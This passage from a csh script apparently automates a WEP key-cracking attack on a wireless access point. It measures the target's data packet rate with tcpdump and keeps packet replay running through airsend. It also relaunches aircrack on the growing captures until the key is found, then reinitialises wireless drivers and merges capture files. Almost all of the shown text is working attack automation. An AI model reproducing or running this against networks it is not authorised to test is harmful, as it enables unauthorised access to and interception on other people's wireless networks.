  ((tcpdump -n -l -i $dev "$lsize and ether[24:4]!=0x$iv and ether[0:1]=0x08 and ((ether[4:4]=0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[8:2]=0x`echo $apmac | tr -d ':' | cut -c 9-12`) or (ether[10:4]=0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[14:2]=0x`echo $apmac | tr -d ':' | cut -c 9-12`))" | wc -l > "$tmpdir"/am.txt) >& /dev/null &) >& /dev/null
  sleep 10
  kill `ps -ef | grep " tcpdump -n -l -i " | egrep -v "airmonitor|grep" | awk '{print $2}' | tr '\n' ' '` >& /dev/null
  sleep 2
  kill -9 `ps -ef | grep " tcpdump -n -l -i " | egrep -v "airmonitor|grep" | awk '{print $2}' | tr '\n' ' '` >& /dev/null
  @ rate = `cat "$tmpdir"/am.txt` / 10

  echo "Data packet rate: $rate pckt/s."
  if ($rate < 1) echo "Too low incoming data packet rate, restarting the process..."


#  Launch aircrack to find the WEP key if enough new packets:

  if (-e ./"$essid-$apmacs.key") then
    if (`grep 'KEY FOUND' ./"$essid-$apmacs.key" | head -c 1`X != X) then
      echo "Aircrack found the WEP key! It is stored in $cwd/$essid-$apmacs.key"
      cat ./"$essid-$apmacs.key"
      echo "Stopping and exiting..."
      break
    endif
  endif

  set acfiles = ""
  set size = 0
  sync
  foreach file ("$essid".pcap `cd "$dpath"; ls airmonitor*.pcap`)
    set s = `ls -l "$dpath"/"$file" | awk '{print $5}'`
    if ($s > 24) then
      @ size = $size + $s
      set acfiles = "$acfiles ""$file"
    endif
  end

  if (($weak == 0 && $size - $psize > 10000000) || ($weak == 1 && $size - $psize > 5000)) then
    set psize = $size
    killall $aircrack >& /dev/null
    sleep 2
    killall -9 $aircrack >& /dev/null
    if (! -e ./"$essid-$apmacs.key") then
      echo "Starting Aircrack in parallel to try to find the WEP key with data recorded up"
      echo "to now."
      ((cd "$dpath"; $aircrack -q -f 3 -b $apmac $acfiles $rc1 $rc2) > ./"$essid-$apmacs.key" &) >& /dev/null
    else if (`grep 'KEY FOUND' ./"$essid-$apmacs.key" | head -c 1`X != X) then
      echo "Aircrack found the WEP key! It is stored in $cwd/$essid-$apmacs.key"
      cat ./"$essid-$apmacs.key"
      echo "Stopping and exiting..."
      break
    else
      echo "Restarting Aircrack in parallel to try to find the WEP key with new data"
      echo "recorded up to now."
      ((cd "$dpath"; $aircrack -q -f 3 -b $apmac $acfiles $rc1 $rc2) > ./"$essid-$apmacs.key" &) >& /dev/null
    endif
  endif


#  Check disk space:

  if (`df -k "$dpath" | tail -1 | awk '{print $4}'` < 100) then
    echo "Running out of space in $dpath, stopping..."
    break
  endif
end

@ i = $i + 1


#  Stop packet replay:

echo "Stopping packet replay..."

killall airsend >& /dev/null
sleep 2
killall -9 airsend >& /dev/null

echo "Packet replay stopped."


#  Reinitialize driver:

reset:

echo "Reinitializing driver..."

iwconfig $dev mode managed
ifconfig $dev down
sync
rmmod $mod

sync
if ($mod == acx) then
    modprobe -f $mod
else if ($mod == acx_pci) then
  if (-e ./$mod.ko) then
    insmod -f ./$mod.ko firmware_dir="$fwdir"
  else if (-e ./$mod.o) then
    insmod -f ./$mod.o firmware_dir="$fwdir"
  else
    modprobe -f $mod firmware_dir="$fwdir"
  endif
else if ($mod == rt2500 || $mod == rt2570 || $mod == rt73) then
  if (-e ./$mod.ko) then
    insmod -f ./$mod.ko debug=$debug
  else if (-e ./$mod.o) then
    insmod -f ./$mod.o debug=$debug
  else
    modprobe -f $mod debug=$debug
  endif
else
  modprobe -f $mod
endif

ifconfig $dev down

echo "Driver reinitialized."


#  Append temporary capture file to main capture file:

echo "Appending temporary capture file to main capture file..."

@ j = $i - 1
if (-e "$dpath"/airmonitor$j.pcap) then
  set size = `ls -l "$dpath"/airmonitor$j.pcap | awk '{print $5}'`
  @ size = $size - 24
  @ sizek = $size / 1024
  @ space = (`df -k "$dpath" | tail -1 | awk '{print $4}'` - 100)

  if ($sizek < $space) then
    tail -c $size "$dpath"/airmonitor$j.pcap >> "$dpath"/"$essid.pcap"
    if (! $status) rm -f "$dpath"/airmonitor$j.pcap
  endif
endif

echo "Temporary capture file appended to main capture file."


#  Stop and go to definitive exit if WEP key found:

if (-e ./"$essid-$apmacs.key") then
  if (`grep 'KEY FOUND' ./"$essid-$apmacs.key" | head -c 1`X != X) goto fin
endif


#  Check disk space:

echo "Checking free disk space before going on..."

if (`df -k "$dpath" | tail -1 | awk '{print $4}'` < 100) then
  echo "Warning: not enough free disk space in output data directory $dpath"
  echo "to go on, exiting. You can restart this script once you free some disk space."
  goto tmpfin
endif

echo "Enough free disk space."


#  Start over:

goto init


#  Definitive exit (WEP key cracked):

fin:


#  Clean useless data? Not by now:

if (0) then
  cd "$dpath"
  rm -f "tmp_replay_$essid.pcap"
  rm -f "replay_$essid.pcap.tmp"
  rm -f "replay_$essid.pcap"
  rm -f airmonitor*.pcap
  rm -f "$essid.pcap"
  rm -rf "$tmpdir"
endif


#  Temporary exit:

tmpfin:

ifconfig $dev down


exit
